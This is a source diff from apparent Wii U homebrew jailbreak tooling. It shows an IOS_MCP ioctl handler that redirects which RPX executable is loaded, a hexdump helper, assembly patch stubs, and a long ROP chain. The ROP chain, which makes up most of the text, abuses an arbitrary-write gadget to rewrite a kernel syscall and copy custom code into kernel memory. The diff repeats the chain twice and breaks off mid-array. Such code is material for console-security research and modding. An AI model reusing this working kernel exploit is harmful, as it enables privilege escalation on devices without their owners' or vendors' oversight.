FAIL_ON(msg->ioctl.length_in > sizeof(rpxpath) - 1, msg->ioctl.length_in);
|
||||
|
||||
memset(rpxpath,0,sizeof(rpxpath));
|
||||
strncpy(rpxpath, (const char*)msg->ioctl.buffer_in, msg->ioctl.length_in);
|
||||
//rpxpath[strlen(rpxpath)] = '\0';
|
||||
if(msg->ioctl.buffer_in && msg->ioctl.length_in >= 4) {
|
||||
int command = msg->ioctl.buffer_in[0];
|
||||
|
||||
didrpxfirstchunk = false;
|
||||
switch(command) {
|
||||
case IPC_CUSTOM_LOG_STRING: {
|
||||
//DEBUG_FUNCTION_LINE("IPC_CUSTOM_LOG_STRING\n");
|
||||
if(msg->ioctl.length_in > 4) {
|
||||
char * str_ptr = (char * ) &msg->ioctl.buffer_in[0x04 / 0x04];
|
||||
str_ptr[msg->ioctl.length_in - 0x04 - 1] = 0;
|
||||
log_printf("%s",str_ptr);
|
||||
}
|
||||
return 1;
|
||||
}
|
||||
case IPC_CUSTOM_META_XML_SWAP_REQUIRED: {
|
||||
//DEBUG_FUNCTION_LINE("IPC_CUSTOM_META_XML_SWAP_REQUIRED\n");
|
||||
/*if(doWantReplaceXML) {
|
||||
msg->ioctl.buffer_io[0] = 10;
|
||||
} else {
|
||||
msg->ioctl.buffer_io[0] = 11;
|
||||
}
|
||||
return 1;*/
|
||||
}
|
||||
case IPC_CUSTOM_MEN_RPX_HOOK_COMPLETED: {
|
||||
DEBUG_FUNCTION_LINE("IPC_CUSTOM_MEN_RPX_HOOK_COMPLETED\n");
|
||||
skipPPCSetup = true;
|
||||
return 1;
|
||||
}
|
||||
case IPC_CUSTOM_META_XML_READ: {
|
||||
if(msg->ioctl.length_io >= sizeof(ACPMetaXml)) {
|
||||
DEBUG_FUNCTION_LINE("IPC_CUSTOM_META_XML_READ\n");
|
||||
ACPMetaXml * app_ptr = (ACPMetaXml*) msg->ioctl.buffer_io;
|
||||
strncpy(app_ptr->longname_en, rpxpath, 256 - 1);
|
||||
strncpy(app_ptr->shortname_en, rpxpath, 256 - 1);
|
||||
}
|
||||
return 1;
|
||||
}
|
||||
case IPC_CUSTOM_LOAD_CUSTOM_RPX: {
|
||||
DEBUG_FUNCTION_LINE("IPC_CUSTOM_LOAD_CUSTOM_RPX\n");
|
||||
|
||||
log("Will load %s for next title\n", rpxpath);
|
||||
if(msg->ioctl.length_in >= 0x110) {
|
||||
int target = msg->ioctl.buffer_in[0x04/0x04];
|
||||
int filesize = msg->ioctl.buffer_in[0x08/0x04];
|
||||
int fileoffset = msg->ioctl.buffer_in[0x0C/0x04];
|
||||
char * str_ptr = (char * ) &msg->ioctl.buffer_in[0x10 / 0x04];
|
||||
memset(rpxpath,0,sizeof(rpxpath));
|
||||
|
||||
/* Signal that all went well */
|
||||
strncpy(rpxpath, str_ptr, 256 - 1);
|
||||
|
||||
rep_filesize = filesize;
|
||||
rep_fileoffset = fileoffset;
|
||||
didrpxfirstchunk = false;
|
||||
doWantReplaceRPX = true;
|
||||
//doWantReplaceXML = true;
|
||||
|
||||
DEBUG_FUNCTION_LINE("Will load %s for next title from target: %d (offset %d, filesize %d)\n", rpxpath, target,rep_fileoffset,rep_filesize);
|
||||
}
|
||||
return 1;
|
||||
}
|
||||
default: {
|
||||
}
|
||||
}
|
||||
} else {
|
||||
return -29;
|
||||
}
|
||||
|
||||
/* Signal that all went well */
|
||||
if (msg->ioctl.buffer_io && msg->ioctl.length_io >= sizeof(u32)) {
|
||||
*(u32*)msg->ioctl.buffer_io = 2;
|
||||
msg->ioctl.buffer_io[0] = 2;
|
||||
}
|
||||
return 1;
|
||||
}
|
||||
|
|
|
@ -1,5 +1,4 @@
|
|||
.extern _MCP_LoadFile_patch
|
||||
|
||||
.global MCP_LoadFile_patch
|
||||
MCP_LoadFile_patch:
|
||||
.thumb
|
||||
|
@ -10,7 +9,6 @@ MCP_LoadFile_patch:
|
|||
bx r12
|
||||
|
||||
.extern _MCP_ioctl100_patch
|
||||
|
||||
.global MCP_ioctl100_patch
|
||||
MCP_ioctl100_patch:
|
||||
.thumb
|
||||
|
|
|
@ -3,7 +3,6 @@
|
|||
|
||||
#include <stdint.h>
|
||||
#include <stdbool.h>
|
||||
#include <stddef.h>
|
||||
|
||||
#define U64_MAX UINT64_MAX
|
||||
|
||||
|
|
42
ios_mcp/source/utils.c
Normal file
42
ios_mcp/source/utils.c
Normal file
|
@ -0,0 +1,42 @@
|
|||
#include <string.h>
|
||||
#include <stdlib.h>
|
||||
#include <stdarg.h>
|
||||
#include <stddef.h>
|
||||
#include <stdio.h>
|
||||
#include <malloc.h>
|
||||
#include "utils.h"
|
||||
#include "logger.h"
|
||||
|
||||
// https://gist.github.com/ccbrown/9722406
|
||||
void dumpHex(const void* data, size_t size) {
|
||||
char ascii[17];
|
||||
size_t i, j;
|
||||
ascii[16] = '\0';
|
||||
DEBUG_FUNCTION_LINE("0x%08X (0x0000): ", data);
|
||||
for (i = 0; i < size; ++i) {
|
||||
log_printf("%02X ", ((unsigned char*)data)[i]);
|
||||
if (((unsigned char*)data)[i] >= ' ' && ((unsigned char*)data)[i] <= '~') {
|
||||
ascii[i % 16] = ((unsigned char*)data)[i];
|
||||
} else {
|
||||
ascii[i % 16] = '.';
|
||||
}
|
||||
if ((i+1) % 8 == 0 || i+1 == size) {
|
||||
log_printf(" ");
|
||||
if ((i+1) % 16 == 0) {
|
||||
log_printf("| %s \n", ascii);
|
||||
if(i + 1 < size) {
|
||||
DEBUG_FUNCTION_LINE("0x%08X (0x%04X); ", data + i + 1,i+1);
|
||||
}
|
||||
} else if (i+1 == size) {
|
||||
ascii[(i+1) % 16] = '\0';
|
||||
if ((i+1) % 16 <= 8) {
|
||||
log_printf(" ");
|
||||
}
|
||||
for (j = (i+1) % 16; j < 16; ++j) {
|
||||
log_printf(" ");
|
||||
}
|
||||
log_printf("| %s \n", ascii);
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
17
ios_mcp/source/utils.h
Normal file
17
ios_mcp/source/utils.h
Normal file
|
@ -0,0 +1,17 @@
|
|||
#ifndef __UTILS_H_
|
||||
#define __UTILS_H_
|
||||
|
||||
#include <malloc.h>
|
||||
|
||||
#ifdef __cplusplus
|
||||
extern "C" {
|
||||
#endif
|
||||
|
||||
//Need to have log_init() called beforehand.
|
||||
void dumpHex(const void* data, size_t size);
|
||||
|
||||
#ifdef __cplusplus
|
||||
}
|
||||
#endif
|
||||
|
||||
#endif // __UTILS_H_
|
|
@ -24,8 +24,7 @@ static int *pretend_root_hub = (int*)0xF5003ABC;
|
|||
static int *ayylmao = (int*)0xF4500000;
|
||||
//!-------------------------------------
|
||||
|
||||
typedef struct
|
||||
{
|
||||
typedef struct __attribute__((packed)) {
|
||||
uint32_t size;
|
||||
uint8_t data[0];
|
||||
} payload_info_t;
|
||||
|
@ -35,276 +34,274 @@ typedef struct
|
|||
#include "../ios_usb/ios_usb.bin.h"
|
||||
#include "../ios_mcp/ios_mcp.bin.h"
|
||||
|
||||
|
||||
/* ROP CHAIN STARTS HERE (0x1015BD78) */
|
||||
static const int final_chain[] = {
|
||||
0x101236f3, // 0x00 POP {R1-R7,PC}
|
||||
0x0, // 0x04 arg
|
||||
0x0812974C, // 0x08 stackptr CMP R3, #1; STREQ R1, [R12]; BX LR
|
||||
0x68, // 0x0C stacksize
|
||||
0x10101638, // 0x10
|
||||
0x0, // 0x14
|
||||
0x0, // 0x18
|
||||
0x0, // 0x1C
|
||||
0x1010388C, // 0x20 CMP R3, #0; MOV R0, R4; LDMNEFD SP!, {R4,R5,PC}
|
||||
0x0, // 0x24
|
||||
0x0, // 0x28
|
||||
0x1012CFEC, // 0x2C MOV LR, R0; MOV R0, LR; ADD SP, SP, #8; LDMFD SP!, {PC}
|
||||
0x0, // 0x30
|
||||
0x0, // 0x34
|
||||
IOS_CREATETHREAD, // 0x38
|
||||
0x1, // 0x3C
|
||||
0x2, // 0x40
|
||||
0x10123a9f, // 0x44 POP {R0,R1,R4,PC}
|
||||
REPLACE_SYSCALL + 0x00, // 0x48 address: the beginning of syscall_0x1a (IOS_GetUpTime64)
|
||||
0xE92D4010, // 0x4C value: PUSH {R4,LR}
|
||||
0x0, // 0x50
|
||||
0x10123a8b, // 0x54 POP {R3,R4,PC}
|
||||
0x1, // 0x58 R3 must be 1 for the arbitrary write
|
||||
0x0, // 0x5C
|
||||
0x1010CD18, // 0x60 MOV R12, R0; MOV R0, R12; ADD SP, SP, #8; LDMFD SP!, {PC}
|
||||
0x0, // 0x64
|
||||
0x0, // 0x68
|
||||
0x1012EE64, // 0x6C set_panic_behavior (arbitrary write)
|
||||
0x0, // 0x70
|
||||
0x0, // 0x74
|
||||
0x10123a9f, // 0x78 POP {R0,R1,R4,PC}
|
||||
REPLACE_SYSCALL + 0x04, // 0x7C address: the beginning of syscall_0x1a (IOS_GetUpTime64)
|
||||
0xE1A04000, // 0x80 value: MOV R4, R0
|
||||
0x0, // 0x84
|
||||
0x10123a8b, // 0x88 POP {R3,R4,PC}
|
||||
0x1, // 0x8C R3 must be 1 for the arbitrary write
|
||||
0x0, // 0x90
|
||||
0x1010CD18, // 0x94 MOV R12, R0; MOV R0, R12; ADD SP, SP, #8; LDMFD SP!, {PC}
|
||||
0x0, // 0x98
|
||||
0x0, // 0x9C
|
||||
0x1012EE64, // 0xA0 set_panic_behavior (arbitrary write)
|
||||
0x0, // 0xA4
|
||||
0x0, // 0xA8
|
||||
0x10123a9f, // 0xAC POP {R0,R1,R4,PC}
|
||||
REPLACE_SYSCALL + 0x08, // 0xB0 address: the beginning of syscall_0x1a (IOS_GetUpTime64)
|
||||
0xE3E00000, // 0xB4 value: MOV R0, #0xFFFFFFFF
|
||||
0x0, // 0xB8
|
||||
0x10123a8b, // 0xBC POP {R3,R4,PC}
|
||||
0x1, // 0xC0 R3 must be 1 for the arbitrary write
|
||||
0x0, // 0xC4
|
||||
0x1010CD18, // 0xC8 MOV R12, R0; MOV R0, R12; ADD SP, SP, #8; LDMFD SP!, {PC}
|
||||
0x0, // 0xCC
|
||||
0x0, // 0xD0
|
||||
0x1012EE64, // 0xD4 set_panic_behavior (arbitrary write)
|
||||
0x0, // 0xD8
|
||||
0x0, // 0xDC
|
||||
0x10123a9f, // 0xE0 POP {R0,R1,R4,PC}
|
||||
REPLACE_SYSCALL + 0x0C, // 0xE4 address: the beginning of syscall_0x1a (IOS_GetUpTime64)
|
||||
0xEE030F10, // 0xE8 value: MCR P15, #0, R0, C3, C0, #0 (set dacr to R0)
|
||||
0x0, // 0xEC
|
||||
0x10123a8b, // 0xF0 POP {R3,R4,PC}
|
||||
0x1, // 0xF4 R3 must be 1 for the arbitrary write
|
||||
0x0, // 0xF8
|
||||
0x1010CD18, // 0xFC MOV R12, R0; MOV R0, R12; ADD SP, SP, #8; LDMFD SP!, {PC}
|
||||
0x0, // 0x100
|
||||
0x0, // 0x104
|
||||
0x1012EE64, // 0x108 set_panic_behavior (arbitrary write)
|
||||
0x0, // 0x10C
|
||||
0x0, // 0x110
|
||||
0x10123a9f, // 0x114 POP {R0,R1,R4,PC}
|
||||
REPLACE_SYSCALL + 0x10, // 0x118 address: the beginning of syscall_0x1a (IOS_GetUpTime64)
|
||||
0xE1A00004, // 0x11C value: MOV R0, R4
|
||||
0x0, // 0x120
|
||||
0x10123a8b, // 0x124 POP {R3,R4,PC}
|
||||
0x1, // 0x128 R3 must be 1 for the arbitrary write
|
||||
0x0, // 0x12C
|
||||
0x1010CD18, // 0x130 MOV R12, R0; MOV R0, R12; ADD SP, SP, #8; LDMFD SP!, {PC}
|
||||
0x0, // 0x134
|
||||
0x0, // 0x138
|
||||
0x1012EE64, // 0x13C set_panic_behavior (arbitrary write)
|
||||
0x0, // 0x140
|
||||
0x0, // 0x144
|
||||
0x10123a9f, // 0x148 POP {R0,R1,R4,PC}
|
||||
REPLACE_SYSCALL + 0x14, // 0x14C address: the beginning of syscall_0x1a (IOS_GetUpTime64)
|
||||
0xE12FFF33, // 0x150 value: BLX R3 KERNEL_MEMCPY
|
||||
0x0, // 0x154
|
||||
0x10123a8b, // 0x158 POP {R3,R4,PC}
|
||||
0x1, // 0x15C R3 must be 1 for the arbitrary write
|
||||
0x0, // 0x160
|
||||
0x1010CD18, // 0x164 MOV R12, R0; MOV R0, R12; ADD SP, SP, #8; LDMFD SP!, {PC}
|
||||
0x0, // 0x168
|
||||
0x0, // 0x16C
|
||||
0x1012EE64, // 0x170 set_panic_behavior (arbitrary write)
|
||||
0x0, // 0x174
|
||||
0x0, // 0x178
|
||||
0x10123a9f, // 0x148 POP {R0,R1,R4,PC}
|
||||
REPLACE_SYSCALL + 0x18, // 0x14C address: the beginning of syscall_0x1a (IOS_GetUpTime64)
|
||||
0x00000000, // 0x150 value: NOP
|
||||
0x0, // 0x154
|
||||
0x10123a8b, // 0x158 POP {R3,R4,PC}
|
||||
0x1, // 0x15C R3 must be 1 for the arbitrary write
|
||||
0x0, // 0x160
|
||||
0x1010CD18, // 0x164 MOV R12, R0; MOV R0, R12; ADD SP, SP, #8; LDMFD SP!, {PC}
|
||||
0x0, // 0x168
|
||||
0x0, // 0x16C
|
||||
0x1012EE64, // 0x170 set_panic_behavior (arbitrary write)
|
||||
0x0, // 0x174
|
||||
0x0, // 0x178
|
||||
0x10123a9f, // 0x148 POP {R0,R1,R4,PC}
|
||||
REPLACE_SYSCALL + 0x1C, // 0x14C address: the beginning of syscall_0x1a (IOS_GetUpTime64)
|
||||
0xEE17FF7A, // 0x150 value: clean_loop: MRC p15, 0, r15, c7, c10, 3
|
||||
0x0, // 0x154
|
||||
0x10123a8b, // 0x158 POP {R3,R4,PC}
|
||||
0x1, // 0x15C R3 must be 1 for the arbitrary write
|
||||
0x0, // 0x160
|
||||
0x1010CD18, // 0x164 MOV R12, R0; MOV R0, R12; ADD SP, SP, #8; LDMFD SP!, {PC}
|
||||
0x0, // 0x168
|
||||
0x0, // 0x16C
|
||||
0x1012EE64, // 0x170 set_panic_behavior (arbitrary write)
|
||||
0x0, // 0x174
|
||||
0x0, // 0x178
|
||||
0x10123a9f, // 0x148 POP {R0,R1,R4,PC}
|
||||
REPLACE_SYSCALL + 0x20, // 0x14C address: the beginning of syscall_0x1a (IOS_GetUpTime64)
|
||||
0x1AFFFFFD, // 0x150 value: BNE clean_loop
|
||||
0x0, // 0x154
|
||||
0x10123a8b, // 0x158 POP {R3,R4,PC}
|
||||
0x1, // 0x15C R3 must be 1 for the arbitrary write
|
||||
0x0, // 0x160
|
||||
0x1010CD18, // 0x164 MOV R12, R0; MOV R0, R12; ADD SP, SP, #8; LDMFD SP!, {PC}
|
||||
0x0, // 0x168
|
||||
0x0, // 0x16C
|
||||
0x1012EE64, // 0x170 set_panic_behavior (arbitrary write)
|
||||
0x0, // 0x174
|
||||
0x0, // 0x178
|
||||
0x10123a9f, // 0x148 POP {R0,R1,R4,PC}
|
||||
REPLACE_SYSCALL + 0x24, // 0x14C address: the beginning of syscall_0x1a (IOS_GetUpTime64)
|
||||
0xEE070F9A, // 0x150 value: MCR p15, 0, R0, c7, c10, 4
|
||||
0x0, // 0x154
|
||||
0x10123a8b, // 0x158 POP {R3,R4,PC}
|
||||
0x1, // 0x15C R3 must be 1 for the arbitrary write
|
||||
0x0, // 0x160
|
||||
0x1010CD18, // 0x164 MOV R12, R0; MOV R0, R12; ADD SP, SP, #8; LDMFD SP!, {PC}
|
||||
0x0, // 0x168
|
||||
0x0, // 0x16C
|
||||
0x1012EE64, // 0x170 set_panic_behavior (arbitrary write)
|
||||
0x0, // 0x174
|
||||
0x0, // 0x178
|
||||
0x10123a9f, // 0x17C POP {R0,R1,R4,PC}
|
||||
REPLACE_SYSCALL + 0x28, // 0x180 address: the beginning of syscall_0x1a (IOS_GetUpTime64)
|
||||
0xE1A03004, // 0x184 value: MOV R3, R4
|
||||
0x0, // 0x188
|
||||
0x10123a8b, // 0x18C POP {R3,R4,PC}
|
||||
0x1, // 0x190 R3 must be 1 for the arbitrary write
|
||||
0x0, // 0x194
|
||||
0x1010CD18, // 0x198 MOV R12, R0; MOV R0, R12; ADD SP, SP, #8; LDMFD SP!, {PC}
|
||||
0x0, // 0x19C
|
||||
0x0, // 0x1A0
|
||||
0x1012EE64, // 0x1A4 set_panic_behavior (arbitrary write)
|
||||
0x0, // 0x1A8
|
||||
0x0, // 0x1AC
|
||||
0x10123a9f, // 0x17C POP {R0,R1,R4,PC}
|
||||
REPLACE_SYSCALL + 0x2C, // 0x180 address: the beginning of syscall_0x1a (IOS_GetUpTime64)
|
||||
0xE8BD4010, // 0x184 value: POP {R4,LR}
|
||||
0x0, // 0x188
|
||||
0x10123a8b, // 0x18C POP {R3,R4,PC}
|
||||
0x1, // 0x190 R3 must be 1 for the arbitrary write
|
||||
0x0, // 0x194
|
||||
0x1010CD18, // 0x198 MOV R12, R0; MOV R0, R12; ADD SP, SP, #8; LDMFD SP!, {PC}
|
||||
0x0, // 0x19C
|
||||
0x0, // 0x1A0
|
||||
0x1012EE64, // 0x1A4 set_panic_behavior (arbitrary write)
|
||||
0x0, // 0x1A8
|
||||
0x0, // 0x1AC
|
||||
0x10123a9f, // 0x1B0 POP {R0,R1,R4,PC}
|
||||
REPLACE_SYSCALL + 0x30, // 0x1B4 address: the beginning of syscall_0x1a (IOS_GetUpTime64)
|
||||
0xE12FFF13, // 0x1B8 value: BX R3 our code :-)
|
||||
0x0, // 0x1BC
|
||||
0x10123a8b, // 0x1C0 POP {R3,R4,PC}
|
||||
0x1, // 0x1C4 R3 must be 1 for the arbitrary write
|
||||
0x0, // 0x1C8
|
||||
0x1010CD18, // 0x1CC MOV R12, R0; MOV R0, R12; ADD SP, SP, #8; LDMFD SP!, {PC}
|
||||
0x0, // 0x1D0
|
||||
0x0, // 0x1D4
|
||||
0x1012EE64, // 0x1D8 set_panic_behavior (arbitrary write)
|
||||
0x0, // 0x1DC
|
||||
0x0, // 0x1E0
|
||||
0x10123a9f, // 0x1E4 POP {R0,R1,R4,PC}
|
||||
REPLACE_SYSCALL, // 0x1DC start of syscall IOS_GetUpTime64
|
||||
0x4001, // 0x1E0 on > 0x4000 it flushes all data caches
|
||||
0x0, // 0x1E0
|
||||
0x1012ED4C, // 0x1E4 IOS_FlushDCache(void *ptr, unsigned int len)
|
||||
0x0, // 0x1DC
|
||||
0x0, // 0x1E0
|
||||
0x10123a9f, // 0x1E4 POP {R0,R1,R4,PC}
|
||||
ARM_CODE_BASE, // 0x1E8 our code destination address
|
||||
0x0, // 0x1EC
|
||||
0x0, // 0x1F0
|
||||
0x101063db, // 0x1F4 POP {R1,R2,R5,PC}
|
||||
0x0, // 0x1F8
|
||||
sizeof(ios_kernel_bin), // 0x1FC our code size
|
||||
0x0, // 0x200
|
||||
0x10123983, // 0x204 POP {R1,R3,R4,R6,PC}
|
||||
0x00140000, // 0x208 our code source location
|
||||
0x08131D04, // 0x20C KERNEL_MEMCPY address
|
||||
0x0, // 0x210
|
||||
0x0, // 0x214
|
||||
0x1012EBB4, // 0x218 IOS_GetUpTime64 (privileged stack pivot)
|
||||
0x0,
|
||||
0x0,
|
||||
0x101312D0,
|
||||
0x101236f3, // 0x00 POP {R1-R7,PC}
|
||||
0x0, // 0x04 arg
|
||||
0x0812974C, // 0x08 stackptr CMP R3, #1; STREQ R1, [R12]; BX LR
|
||||
0x68, // 0x0C stacksize
|
||||
0x10101638, // 0x10
|
||||
0x0, // 0x14
|
||||
0x0, // 0x18
|
||||
0x0, // 0x1C
|
||||
0x1010388C, // 0x20 CMP R3, #0; MOV R0, R4; LDMNEFD SP!, {R4,R5,PC}
|
||||
0x0, // 0x24
|
||||
0x0, // 0x28
|
||||
0x1012CFEC, // 0x2C MOV LR, R0; MOV R0, LR; ADD SP, SP, #8; LDMFD SP!, {PC}
|
||||
0x0, // 0x30
|
||||
0x0, // 0x34
|
||||
IOS_CREATETHREAD, // 0x38
|
||||
0x1, // 0x3C
|
||||
0x2, // 0x40
|
||||
0x10123a9f, // 0x44 POP {R0,R1,R4,PC}
|
||||
REPLACE_SYSCALL + 0x00, // 0x48 address: the beginning of syscall_0x1a (IOS_GetUpTime64)
|
||||
0xE92D4010, // 0x4C value: PUSH {R4,LR}
|
||||
0x0, // 0x50
|
||||
0x10123a8b, // 0x54 POP {R3,R4,PC}
|
||||
0x1, // 0x58 R3 must be 1 for the arbitrary write
|
||||
0x0, // 0x5C
|
||||
0x1010CD18, // 0x60 MOV R12, R0; MOV R0, R12; ADD SP, SP, #8; LDMFD SP!, {PC}
|
||||
0x0, // 0x64
|
||||
0x0, // 0x68
|
||||
0x1012EE64, // 0x6C set_panic_behavior (arbitrary write)
|
||||
0x0, // 0x70
|
||||
0x0, // 0x74
|
||||
0x10123a9f, // 0x78 POP {R0,R1,R4,PC}
|
||||
REPLACE_SYSCALL + 0x04, // 0x7C address: the beginning of syscall_0x1a (IOS_GetUpTime64)
|
||||
0xE1A04000, // 0x80 value: MOV R4, R0
|
||||
0x0, // 0x84
|
||||
0x10123a8b, // 0x88 POP {R3,R4,PC}
|
||||
0x1, // 0x8C R3 must be 1 for the arbitrary write
|
||||
0x0, // 0x90
|
||||
0x1010CD18, // 0x94 MOV R12, R0; MOV R0, R12; ADD SP, SP, #8; LDMFD SP!, {PC}
|
||||
0x0, // 0x98
|
||||
0x0, // 0x9C
|
||||
0x1012EE64, // 0xA0 set_panic_behavior (arbitrary write)
|
||||
0x0, // 0xA4
|
||||
0x0, // 0xA8
|
||||
0x10123a9f, // 0xAC POP {R0,R1,R4,PC}
|
||||
REPLACE_SYSCALL + 0x08, // 0xB0 address: the beginning of syscall_0x1a (IOS_GetUpTime64)
|
||||
0xE3E00000, // 0xB4 value: MOV R0, #0xFFFFFFFF
|
||||
0x0, // 0xB8
|
||||
0x10123a8b, // 0xBC POP {R3,R4,PC}
|
||||
0x1, // 0xC0 R3 must be 1 for the arbitrary write
|
||||
0x0, // 0xC4
|
||||
0x1010CD18, // 0xC8 MOV R12, R0; MOV R0, R12; ADD SP, SP, #8; LDMFD SP!, {PC}
|
||||
0x0, // 0xCC
|
||||
0x0, // 0xD0
|
||||
0x1012EE64, // 0xD4 set_panic_behavior (arbitrary write)
|
||||
0x0, // 0xD8
|
||||
0x0, // 0xDC
|
||||
0x10123a9f, // 0xE0 POP {R0,R1,R4,PC}
|
||||
REPLACE_SYSCALL + 0x0C, // 0xE4 address: the beginning of syscall_0x1a (IOS_GetUpTime64)
|
||||
0xEE030F10, // 0xE8 value: MCR P15, #0, R0, C3, C0, #0 (set dacr to R0)
|
||||
0x0, // 0xEC
|
||||
0x10123a8b, // 0xF0 POP {R3,R4,PC}
|
||||
0x1, // 0xF4 R3 must be 1 for the arbitrary write
|
||||
0x0, // 0xF8
|
||||
0x1010CD18, // 0xFC MOV R12, R0; MOV R0, R12; ADD SP, SP, #8; LDMFD SP!, {PC}
|
||||
0x0, // 0x100
|
||||
0x0, // 0x104
|
||||
0x1012EE64, // 0x108 set_panic_behavior (arbitrary write)
|
||||
0x0, // 0x10C
|
||||
0x0, // 0x110
|
||||
0x10123a9f, // 0x114 POP {R0,R1,R4,PC}
|
||||
REPLACE_SYSCALL + 0x10, // 0x118 address: the beginning of syscall_0x1a (IOS_GetUpTime64)
|
||||
0xE1A00004, // 0x11C value: MOV R0, R4
|
||||
0x0, // 0x120
|
||||
0x10123a8b, // 0x124 POP {R3,R4,PC}
|
||||
0x1, // 0x128 R3 must be 1 for the arbitrary write
|
||||
0x0, // 0x12C
|
||||
0x1010CD18, // 0x130 MOV R12, R0; MOV R0, R12; ADD SP, SP, #8; LDMFD SP!, {PC}
|
||||
0x0, // 0x134
|
||||
0x0, // 0x138
|
||||
0x1012EE64, // 0x13C set_panic_behavior (arbitrary write)
|
||||
0x0, // 0x140
|
||||
0x0, // 0x144
|
||||
0x10123a9f, // 0x148 POP {R0,R1,R4,PC}
|
||||
REPLACE_SYSCALL + 0x14, // 0x14C address: the beginning of syscall_0x1a (IOS_GetUpTime64)
|
||||
0xE12FFF33, // 0x150 value: BLX R3 KERNEL_MEMCPY
|
||||
0x0, // 0x154
|
||||
0x10123a8b, // 0x158 POP {R3,R4,PC}
|
||||
0x1, // 0x15C R3 must be 1 for the arbitrary write
|
||||
0x0, // 0x160
|
||||
0x1010CD18, // 0x164 MOV R12, R0; MOV R0, R12; ADD SP, SP, #8; LDMFD SP!, {PC}
|
||||
0x0, // 0x168
|
||||
0x0, // 0x16C
|
||||
0x1012EE64, // 0x170 set_panic_behavior (arbitrary write)
|
||||
0x0, // 0x174
|
||||
0x0, // 0x178
|
||||
0x10123a9f, // 0x148 POP {R0,R1,R4,PC}
|
||||
REPLACE_SYSCALL + 0x18, // 0x14C address: the beginning of syscall_0x1a (IOS_GetUpTime64)
|
||||
0x00000000, // 0x150 value: NOP
|
||||
0x0, // 0x154
|
||||
0x10123a8b, // 0x158 POP {R3,R4,PC}
|
||||
0x1, // 0x15C R3 must be 1 for the arbitrary write
|
||||
0x0, // 0x160
|
||||
0x1010CD18, // 0x164 MOV R12, R0; MOV R0, R12; ADD SP, SP, #8; LDMFD SP!, {PC}
|
||||
0x0, // 0x168
|
||||
0x0, // 0x16C
|
||||
0x1012EE64, // 0x170 set_panic_behavior (arbitrary write)
|
||||
0x0, // 0x174
|
||||
0x0, // 0x178
|
||||
0x10123a9f, // 0x148 POP {R0,R1,R4,PC}
|
||||
REPLACE_SYSCALL + 0x1C, // 0x14C address: the beginning of syscall_0x1a (IOS_GetUpTime64)
|
||||
0xEE17FF7A, // 0x150 value: clean_loop: MRC p15, 0, r15, c7, c10, 3
|
||||
0x0, // 0x154
|
||||
0x10123a8b, // 0x158 POP {R3,R4,PC}
|
||||
0x1, // 0x15C R3 must be 1 for the arbitrary write
|
||||
0x0, // 0x160
|
||||
0x1010CD18, // 0x164 MOV R12, R0; MOV R0, R12; ADD SP, SP, #8; LDMFD SP!, {PC}
|
||||
0x0, // 0x168
|
||||
0x0, // 0x16C
|
||||
0x1012EE64, // 0x170 set_panic_behavior (arbitrary write)
|
||||
0x0, // 0x174
|
||||
0x0, // 0x178
|
||||
0x10123a9f, // 0x148 POP {R0,R1,R4,PC}
|
||||
REPLACE_SYSCALL + 0x20, // 0x14C address: the beginning of syscall_0x1a (IOS_GetUpTime64)
|
||||
0x1AFFFFFD, // 0x150 value: BNE clean_loop
|
||||
0x0, // 0x154
|
||||
0x10123a8b, // 0x158 POP {R3,R4,PC}
|
||||
0x1, // 0x15C R3 must be 1 for the arbitrary write
|
||||
0x0, // 0x160
|
||||
0x1010CD18, // 0x164 MOV R12, R0; MOV R0, R12; ADD SP, SP, #8; LDMFD SP!, {PC}
|
||||
0x0, // 0x168
|
||||
0x0, // 0x16C
|
||||
0x1012EE64, // 0x170 set_panic_behavior (arbitrary write)
|
||||
0x0, // 0x174
|
||||
0x0, // 0x178
|
||||
0x10123a9f, // 0x148 POP {R0,R1,R4,PC}
|
||||
REPLACE_SYSCALL + 0x24, // 0x14C address: the beginning of syscall_0x1a (IOS_GetUpTime64)
|
||||
0xEE070F9A, // 0x150 value: MCR p15, 0, R0, c7, c10, 4
|
||||
0x0, // 0x154
|
||||
0x10123a8b, // 0x158 POP {R3,R4,PC}
|
||||
0x1, // 0x15C R3 must be 1 for the arbitrary write
|
||||
0x0, // 0x160
|
||||
0x1010CD18, // 0x164 MOV R12, R0; MOV R0, R12; ADD SP, SP, #8; LDMFD SP!, {PC}
|
||||
0x0, // 0x168
|
||||
0x0, // 0x16C
|
||||
0x1012EE64, // 0x170 set_panic_behavior (arbitrary write)
|
||||
0x0, // 0x174
|
||||
0x0, // 0x178
|
||||
0x10123a9f, // 0x17C POP {R0,R1,R4,PC}
|
||||
REPLACE_SYSCALL + 0x28, // 0x180 address: the beginning of syscall_0x1a (IOS_GetUpTime64)
|
||||
0xE1A03004, // 0x184 value: MOV R3, R4
|
||||
0x0, // 0x188
|
||||
0x10123a8b, // 0x18C POP {R3,R4,PC}
|
||||
0x1, // 0x190 R3 must be 1 for the arbitrary write
|
||||
0x0, // 0x194
|
||||
0x1010CD18, // 0x198 MOV R12, R0; MOV R0, R12; ADD SP, SP, #8; LDMFD SP!, {PC}
|
||||
0x0, // 0x19C
|
||||
0x0, // 0x1A0
|
||||
0x1012EE64, // 0x1A4 set_panic_behavior (arbitrary write)
|
||||
0x0, // 0x1A8
|
||||
0x0, // 0x1AC
|
||||
0x10123a9f, // 0x17C POP {R0,R1,R4,PC}
|
||||
REPLACE_SYSCALL + 0x2C, // 0x180 address: the beginning of syscall_0x1a (IOS_GetUpTime64)
|
||||
0xE8BD4010, // 0x184 value: POP {R4,LR}
|
||||
0x0, // 0x188
|
||||
0x10123a8b, // 0x18C POP {R3,R4,PC}
|
||||
0x1, // 0x190 R3 must be 1 for the arbitrary write
|
||||
0x0, // 0x194
|
||||
0x1010CD18, // 0x198 MOV R12, R0; MOV R0, R12; ADD SP, SP, #8; LDMFD SP!, {PC}
|
||||
0x0, // 0x19C
|
||||
0x0, // 0x1A0
|
||||
0x1012EE64, // 0x1A4 set_panic_behavior (arbitrary write)
|
||||
0x0, // 0x1A8
|
||||
0x0, // 0x1AC
|
||||
0x10123a9f, // 0x1B0 POP {R0,R1,R4,PC}
|
||||
REPLACE_SYSCALL + 0x30, // 0x1B4 address: the beginning of syscall_0x1a (IOS_GetUpTime64)
|
||||
0xE12FFF13, // 0x1B8 value: BX R3 our code :-)
|
||||
0x0, // 0x1BC
|
||||
0x10123a8b, // 0x1C0 POP {R3,R4,PC}
|
||||
0x1, // 0x1C4 R3 must be 1 for the arbitrary write
|
||||
0x0, // 0x1C8
|
||||
0x1010CD18, // 0x1CC MOV R12, R0; MOV R0, R12; ADD SP, SP, #8; LDMFD SP!, {PC}
|
